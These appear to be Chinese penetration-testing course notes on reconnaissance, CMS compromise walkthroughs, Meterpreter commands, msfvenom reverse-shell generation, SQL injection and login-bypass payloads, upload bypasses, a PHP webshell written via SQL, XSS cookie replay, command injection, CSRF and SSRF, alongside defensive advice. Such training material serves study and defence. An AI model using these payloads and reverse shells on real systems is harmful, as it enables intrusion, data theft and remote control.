培训-渗透笔记
渗透测试
一、信息收集
1. Whois查询及主域名
绑定IP、域名所有人、域名注册商
二级域名
可通过站长工具、kali下whois命令+域名查找
http://whois.chinaz.com/
https://cloud.baidu.com/product/bcd.html
https://whois.aliyun.com/
Kali 下: whois xxxxx.com
2.端口及服务
中间件( JBOSS、 Tomcat、 Weblogic等)
常用服务( FTP、 RDP、 Memcache等)
3.搜索引擎
绑定IP、域名所有人、域名注册商
二级域名
二级域名如何查找?
Ø 搜索备案许可号http://www.beianbeian.com/
Ø 关注移动APP的数据传输https://dev.bangcle.com/
Ø 威胁情报检测平台
Ø SEO大数据工具
https://x.threatbook.cn/ 查询子域名
Google HACK
filetype(重点推荐)
搜索指定类型的文件。
如: .zip .bak .mdb .inc
inurl(重点推荐)
搜索我们指定的字符是否存在于URL中。
如: admin、 login、 system
intitle
搜索网页标题中是否有我们所要找的字符。
百度:
intext
网页中的正文内容中的某个字符做为搜索条件。
site
找到与指定网站有联系的URL。
Cache
用来搜索搜索引擎服务器上某页面的缓存。
+加上可能忽略的字
- 把某个字忽略
~ 同意词
. 单一的通配符
* 通配符,可代表多个字母 "" 精确查询
filetype:txt intext:用户名 and 密码
intitle:"index of"intext:config.php.bak
网站目录
4.Web应用分析
指纹探测、 Web架构、 HTTP头、敏感目
录及文件、错误码分析、漏洞扫描
查看源文件
通过隐藏的链接,代码注释, JS、 CSS文件等
发现敏感信息
Web指纹探测
识别已知Web程序,利用已有漏洞进行尝试或代码审计。
http://whatweb.secbug.org
查询网站是用了模板还是自己写
暴力猜解
利用工具(御剑、 Burpsuite、 DirBrute等)暴力猜解
敏感文件及目录。
返回的错误信息
300、 404、 500页面可能会暴露服务
器或Web应用的敏感信息
HTTP响应头
从HTTP响应头判断Web容器类型
及网站架构(如根据Server: BIGIP 推测站点使用了负载均衡
源代码泄露
. git源码泄漏、 . hg源码泄漏、 .svn源码泄露
、 .DS_Store文件泄漏、未删除的备份、
各种编辑器备份文件 ( .bak 、 .swp等)
实际应用中较少但CTF中较多
漏洞扫描
AWVS
自带几百个扫描脚本,
详情查看手册。
Nmap
非常好用的Web漏洞扫描器
,使用简单,功能强大
Scanner Box。安全从业人员
自己开发的小脚本。
https://github.com/We5ter
/Scanners-Box
Python脚本
针对特定应用或服务的扫描
器,如wpscan、 Metasploit
里的扫描脚本
## 源代码泄露
drwxr-xr-x 11 www-data www-data 4096 Aug 2 17:48 .
drwxr-xr-x 9 root root 4096 Aug 2 17:40 ..
-rw-r--r-- 1 root root 12288 Aug 2 17:43 .index.php.swp
-rw-r--r-- 1 root root 29 Jul 31 16:16 config.php
-rw-r--r-- 1 root root 257 Aug 2 17:42 index.php
drwxr-xr-x 2 root root 4096 Aug 2 17:51 jump
vim -r .index.php.swp
## MD5的弱语言特性
0e开头的MD5原文:
240610708 QNKCDZO 400035577431
md5(240610708,32) = 0e462097431906509019562988736854
md5(QNKCDZO,32) = 0e830400451993494058024219903391
**no module named requests**
http://www.cnblogs.com/jamespan23/p/5526311.html
EXP(exploit): 利用漏洞攻击的脚本(代码)
payload:攻击成功之后要执行的脚本(代码)
POC:漏洞验证脚本(代码)
---
192.168.2.3: \ 172.17.1.5 \ xxx
0.0.0.0:22
192.168.2.3:7001
127.0.0.1:3306
---
WordPress 渗透
http://192.168.2.191:83/
http://192.168.2.191:84/
---
## fengcms 实战
http://xxxx/?controller=down&file=Y29uZmlnLnBocA
config.php ==> (base64) ==> Y29uZmlnLnBocA==
conifg.php
index.php ==> aW5kZXgucGhw
localhost:3306
---
burpsuite实战指南:
https://www.gitbook.com/book/t0data/burpsuite/details
爆破字典:
https://github.com/rootphantomer/Blasting_dictionary
sqlmap + burp suite:
《Metasploit 魔鬼训练营》
包含电子书+存在漏洞的虚拟机镜像
链接: https://pan.baidu.com/s/1nvl05Wt 密码: twt7
Meterpreter
background 将当前会话调到后台
sessions 展示所有会话
sessions -i [id] 将后台的会话调到前台
![](https://ws1.sinaimg.cn/large/006tNc79ly1fi7ikmjcn9j30ll0b7q4s.jpg)
## Burpsuite 专业版
1. 在Windows中安装java环境或者将专业版Burpsuite拖进Kali
2. java -jar burpsuite_pro_v1.7.11/BurpLoader.jar 运行Burpsuite
## 使用metasploit爆破Tomcat口令
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts 192.168.2.191
exploit
各种编辑器备份文件(.bak/.swp)
.swp vim的备份文件,指令vim -r .php.swp来恢复
EXP(exploit):利用漏洞攻击的脚本(代码)
payload:攻击成功之后要执行的脚本(代码)
POC:漏洞验证脚本(代码)
CMS渗透
#### fengCMS
首先拿到这个站后看到是fengCMS,百度了一下fengCMS的,表哥搭的版本比较低,漏洞有点多,用了一个比较老的任意文件下载漏洞直接把config的文件下载下来了,然后得到了数据库账号和密码,,然后扫了一下端口,发现开着3306,连上数据库之后得到后台账号密码,可以通过修改账号密码或者添加账号进入后台getshell,然后我利用的是通过sql语句写入一句话,这里需要注意的问题是通过SQL语句写入shell的时候需要绝对路径,在用AWVS扫的时候扫到了phpinfo,里面找到绝对路径,但是后来就不敢用了,一扫容易把环境扫出问题来。
```
select "<?php eval($_POST[%27cmd%27]) ?>" into outfile "绝对路径";
```
这里一开始我往根目录里写,但是写不进去,没有权限,然后在表哥的提醒下往upload文件里面的文件里写了,成功getshell。
#### dedecms
1.这个一开始找了几个exp都没成功,然后就吃饭去了,回来自己下了个源码搭了一下环境,然后百度了一下exp,成功爆出账号密码,然后dede密码的md5需要前减三后减一再去破解,登陆后台有个文件管理,权限比较大,直接上传shell,菜刀连接。
2.可能我自己设置的密码比较简单,不过这个方法也是可以去尝试的,后台密码爆破,直接利用bp的intruder模块,加载了个常用密码字典爆破。
Meterpreter
核心命令
background - 将当前会话移至后台
exit/quit - 终止meterpreter会话
helt - 帮助菜单
migrate - 移动到看一个指定的PID的活动进程
run - 执行以后它可以选定的脚本
user - 加载meterpreter的拓展
load - 加载其他辅助组件
系统命令
clearav - 清楚了受害者的计算机上的事件日志
drop_token - 被盗的令牌
execute - 执行命令
getpid - 获取当前的进程
getprivs- 尽可能的获取更多的特权
getuid - 获取作为运行服务器的用户
kill - 终止指定的pid进程
ps - 列出正在运行的进程
#### 系统命令
reboot - 重启启动受害人的计算机
reg - 与受害人的注册表进行交互
rev2self - 在受害者机器上调用RevertToSelf
shell - 在受害者机器上打开一个shell
shutdown - 关闭受害者的机器
steal_token - 试图窃取指定的PID的令牌
sysinfo - 获取计算机操作系统和名称
#### 用户界面命令
keyscan_dump - 键盘记录软件的内容转储
keyscan_stat - 启动键盘记录软件
keyscan_stop - 停止键盘记录软件
screenshot - 抓取受控机的桌面屏幕
set_desktop - 更改目标桌面
webcam_snap - 抓取摄像头图片
webcam_stream - 抓取摄像头影像流
提权
#### windows
## 中间件
#### Tomcat攻防
Tomcat是以系统服务权限运行的,所以一般来说权限都比较高。
#### Weblogic攻防
Weblogic默认端口是7001
Weblogic10g-12c的默认后台是 7001/console
10版本一下的默认http://192.168.80.1:7001/console/login/LoginForm.jsp
#### Java反序列化造成的RCE漏洞
#### JBOSS攻防
网络边界撕裂
reGeorg
连上菜刀之后将tunnel.nosocket.php上传到服务器,然后本地执行
```
python reGeorgSocksProxy.py -u http://10.1.199.178/tunnel.php -p 8899
```
,用来做中间处理,当mypc发来8899端口的请求后该中间会将请求发送到内网,也就是pc访问不到的那个网段,然后需要设置8899的浏览器的拦截,类似burpsuite的拦截,只不过8899端口拦截下来的请求发送到tunnel.php。
Metasploit
用msf来进行边界撕裂,首先在msf里面生成一个php反弹马或者exe马
```
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.1.199.199 LPORT=23333 -o ~/Desktop/123.php
```
msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 -f exe -o ~/shell.exe
lhost是本机的IP,然后指定一个port来接受反弹回来的shell,然后讲生成的php马上传到服务器,然后访问上传的php马就会反弹回来一个shell。
自我感动
自我感动是理性先行的最大对手
培训-Web安全笔…
一、网站结构
网站--->CDN--->用户
|
|
数据库
结构漏洞:
DDOS/CC/刷库:强制经过CDN(具有缓存静态资源的作用)进入数据库,消耗资源多。
网站根目录漏洞:
网站根目录下可能有源码压缩包(管理员习惯)
PHP info()会显示配置信息
assess数据库是文件型数据库,不经处理可能被直接下载到。
二、HTTP协议:
参数:
请求字段:
GET和POST
请求
POST可传送数据比GET大,GET最多2kb,POST可以
POST body
传参形式:
1.KV键值对
key = value&key2 = value2&...
2.json格式:
key1:value;key2:value
HOST
/
URI
URL 的host去掉叫URI
Referer
User-Agent:(手机浏览和PC浏览识别便是依赖于此)
显示个人信息 :系统/浏览器
可以通过修改UA来对服务器进行欺骗
Chorme中F12的手机图标即可修改UA
Accept:期待类型
Accept-Language:语言,首选,次选
Accept-Encoding:编码
Referer:跳转而来
显示了跳转而来的网站如搜索引擎或者主站
Cookie(Session):识别身份
网站给予,具有唯一性。
响应:
HTTP响应状态码:
200 资源存在
30X 301/302 跳转
403 这是一个网站目录,但无权限阅读
404 页面不存在/资源不存在
400 Bad request 请求有问题
50X 500 服务器问题
Sever字段:反映Web容器类型。(服务器类型)
响应体:即网页源代码
三、Webshell
网站脚本木马
劣势:权限不会很高
基本都是使用一句话木马。
连菜刀
四、SQL注入
文件型数据库:ACCESS
较简单
关系型数据库(使用SQL语言):MYSQL、MSSQL、Oracle
注入重点
NOSQL数据库:Redis/MongoDB/Elsaticsearch
基本无法注入
Mysql数据库中有一个系统表叫information_SCHEMA
其中有一个叫TABLE表
可在TABLE表里查想要查的表名
SQL注入漏洞由数据与代码边界不清晰造成
不仅SQL注入,XSS、缓冲区溢出漏洞成因都是。
and 1=1 True
and 1= '' False
SELECT first_name,last_name FORM users WHERE user_id = '1' and ''='x'
正常:1
攻击:1' and ''='
1'#
1' and ''='x
1' and ascii(substr(database(),2,1))>60 and ''='
猜解字段名
数字型截断---直接
字符型截断:1' and ''='
注入点分:
POST注入、GET注入
Cookie注入
搜索型注入
正常:attachment
攻击:attachment%'and'%' = '%'
a%' and 1=1 -- 正常
a%' and 1=2 -- 错误
盲注:
延时注入:
通过时间的sleep(x)
1' and and and ''='
报错注入:
1' and (extractvalue(1,concat(0x7e,(select+user()),0x7e)))+and+''='
1' and (extractvalue(1,concat(0x7e,(SELECT DISTINCT TABLE_SCHEMA FROM information_schema.`TABLES` LIMIT 0,1),0x7e))) and ''='
1' and (extractvalue(1,concat(0x7e,(SELECT `TABLE_NAME` FROM information_schema.`TABLES` WHERE TABLE_SCHEMA="test" LIMIT 0,1),0x7e))) and ''='
联合注入:
Union
1’union select user(),database()#
1' union select 1,TABLE_SCHEMA FROM information_schema.`TABLES` limit 0,1#
1' union select user(),database()#
http://www.phpsqli.com/show.php?id=-31%20union%20all%20select%201,2,concat(username,%27|%27,password),4,5,6,7,8,9,10,11,12,13,14,15%20from%20cms_users--qqqq
SQLmap:
- SQLMAP读取数据:
- -u 漏洞url -data "vul" POST内容
- --dbs 罗列所有数据库
- -D指定数据库 --tables 列表
- -D指定数据库 -T 指定表 --columns 列所有字段
- -D指定数据库 -T 指定表 -C 指定字段 --dump 获取数据
--cookie=COOKIE 在需要登录的地方,需要登录后的cookie
--proxy="http://127.0.0.1:8087" 使用HTTP代理隐藏自己的身份,比如使用goagent等
--sql-query=QUERY 执行一个sql语句,不一定支持
-r surp 数据包
-r REQUESTFILE 从一个文件中载入HTTP请求。
File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
--file -read #从后端的数据库管理系统文件系统读取文件
--file -write #编辑后端的数据库管理系统文件系统上的本地文件
--file -dest #后端的数据库管理系统写入文件的绝对路径
--file -read #读取指定文件 (地址)
--file -write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
sqlmapapi 做扫描器可以用
说白了,sqlmapapi.py就是提供了一个检查sql注入的接口,我们可以直接通过发送http请求扫描sql注入,获取扫描结果等一系列操作。
--tamper 注入绕过脚本
防御:
字符型注入、搜索型:
过滤/转义单双引号
数字型:
检查是不是数字。
其他:
order by注入:白名单字段
参数绑定的方式
万能密码:(后台验证绕过语句)
1:"or "a"="a
2: '.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
常用: 'or'='or'
' or ''='
原理都是利用SQL语法来利用注入,其实这也是注入的一种,都是因为提交字符未加过滤或过滤不严而导致的
五、上传漏洞:
上传过滤:
扩展名黑名单:
PHP ASP ASA JSP
可通过php<空格>绕过
上传文件格式验证:
GIF89a等图片头欺骗
00截断漏洞:
a.jpg[0x00].php
扩展名解析漏洞:
nginx0.8以下
shell.jpg/a.php
Apache+linux双扩展名解析漏洞:
shell.php.aaa
IIS6.0分号引发的扩展名解析漏洞:
shell.php;x.jpg
IIS6.0文件夹引发的扩展名解析漏洞:
/a.asp/shell.jpg
上传漏洞防御:
扩展名白名单
重命名文件
禁止上传目录的执行权限
静态资源和动态文件分离(使用静态资源服务器、sso服务)
使用无解析漏洞的Web容器(使用最新版Web容器)
验证文件头(此攻击当然是修改文件头)
六、XSS
重要的标签:
<script></script>
<script src = "//360.cn/test/a.js"></script>
<script>alter(1)</script> #内联调用
#javascript 是事件型触发的编程语言
<img src="" onload="alter('hello,onload')" onerror="alter('hello,onerror')" onmouseover="alter(hello,onmouseover) onclick="alter(hello,onclick)">
on 开头是事件属性
#JavaScript是单线程语言。同时只执行一个事件。
<form action="post.php" method="POST"></form> 表单信息会提交到post.php上
<input type="text" value="xxxx"></input> #type为text便为文本类型为password就是密码属性
<input type="submit" value="提交"></input>
<iframe src="http://baidu.com"></iframe>
<iframe src="javascript:alter(1)"></iframe>
#地址栏里输入javascript:后面即可跟jsp代码,可执行。
DOM树
XSS使用:
1.远程调用,直接用src调用。
2.本地调用。
3.可以省略掉http/https。
4.内联调用,就是在script标签中直接嵌入,最常见的xss。
XSS分类:
反射型XSS:不存储数据库、及时生效
存储型XSS:存储在数据库中,不删库就永久存在,输入和触发可能存在时间差。
DOM型XSS:动态存在的,存在于DOM标签之中的
Cookie利用脚本:
co = "username=admin; userid=1; PHPSESSID=g3dkp1pbg3v4r6j803fnrkc4p3";
ar = co.split("; ");
for (var i=0;i<ar.length;i++) {
document.cookie=ar[i];
}
把盗取的cookie放到第一行的sessid中,在控制台输出即可。
维持cookie效用:定时刷新...
file://域>http(s)域的权限
chrome-extension:// > http(s)域的权限
XSS绕过关键字检测:
1.变换Payload
2.jsfuck等加密方式。
3.标签属性里的XSS可以使用实体编码。
4.使用eval(加密字符串)
5.可以使用String.fromCharCode(97,98,99)对ASCII转换成字符串
6.其他技巧:例如括号可以用·代替等等。
XSS防御:
1.过滤、转义左右尖括号:<> 。反斜扛转义?X HTMLencode转义
2.便签内的情况:过滤单双引号,或者用正则进行匹配,保证输出的是白名单的安全字符。
(3.WAF?安全狗? 治标不治本)
3.CSP策略:最好防御XSS的方案,但是运维成本略高。
4.代前端码级防御:灵活、配置相对CSP容易。兼容性略差。
onload="alert(1)",当加载完成后触发。
onerror="alert(1)",当前面的执行错误时比如网址是404时会出发2此属性。
onmouseover="alert(1)",当鼠标滑过时会触发。
onclici="alert(1)",当鼠标点击触发。
七、CSRF
通过伪造请求,比如说:post一个密码,在管理员登陆的情况下发起这个请求就可以直接更改掉密码,简单例子:
网站用户在修改密码的时候不需要提交老密码,bp转包看一下post的数据和请求网址,可以自己写伪造网页,也可以使用http://xssor.io/#codz网站快速生成,这里如果想要达到更好的攻击效果,可以伪造一个更加吸引管理员的链接,在管理员登陆后台的情况下访问了这个请求那么就可以攻击成功。
GET/POST都可以
条件要求:要求受害者有合法的session。(例如管理员在已经登陆的情况下进行CSRF)
CSRF防御:
验证Referer是不是本域下。
(绕过:
mycorp.com
hacker.com
验证referer里是不是包含mycorp.com : mycorp.com.hacker.com
正确方法:演示是否是http://mycorp.com/ 开头的
)
随机token:随机字符串。检查token是否失效。
XSS'or 可以自动化生成CSRF利用脚本
八、文件包含漏洞
服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的
文件包含绕过:
利用%00进行截断
利用文件路径的长度限制
文件包含,防御:
.. 并且 / 并且 \
九、命令执行漏洞
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
OS命令注入
特殊符号 && | <回车>(\r\n %0D%0A)
window和linux系统都可以用&&来执行多条命令
127.0.0.1&&net user
Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
十、SSRF
把服务器作为一个(HTTP)代理服务器,来探测内网
服务器端请求伪造
可以让服务器变成我们的代理服务器
由服务器发出http请求,而不是自己客户端
说白了就是本来应该是我们的ip地址去请求这个文件,但是因为SSrf的存在而变
成了服务器在发送请求。
比如从指定URL地址获取网页文本内容,加载指定地址的图片等,都是SSRF容易出现的点。图片地址这种较为常见,其它的发生点,需要具体情况具体判断。
百度识图之类
危害:
1.攻击内网
2.下载内网资源
3.wooyun峰会猪猪侠的ppt
4.进行跳板
5.无视cdn
限制127.0.0 192.168. 10.
绕:hacker.com --> 192.168.
限制:解析以后IP,是不是内网IP
绕:302跳转 跳到 内网IP
限制:不跟随302跳转
防御:
限制内网网段 限制127.0.0. 192.168. 10. 开头访问
绕过方式:申请一个域名 hacker.com -> 192.168
限制:解析以后ip,是不是内网ip
绕过:302跳转 跳到 内网IP
限制:不跟随302跳转
攻击者利用SSRF可以实现的攻击主要有3种:
1、获取web应用可达服务器服务的banner信息以及收集内网web应用的指纹识别,如开放的端口,中间件版本信息等。
2、攻击运行在内网的系统或应用程序,获取内网各系统弱口令进行内网漫游、对有漏洞的内网web应用实施攻击获取webshell,如st2命令执行、discuz ssrf通过redis实施getshell等。
3、利用有脆弱性的组件结合ftp://,file:///,gopher://,dict://等协议实施攻击。如FFmpeg任意文件读取,xxe攻击等。
防御手段:
1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法;
2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态;
3、限制请求的端口为http常用的端口,比如,80,443,8080,8090;
4、黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网;
5、禁用不需要的协议。仅允许http和https请求;
6、使用正则对参数进行效验,防止畸形请求绕过黑名单。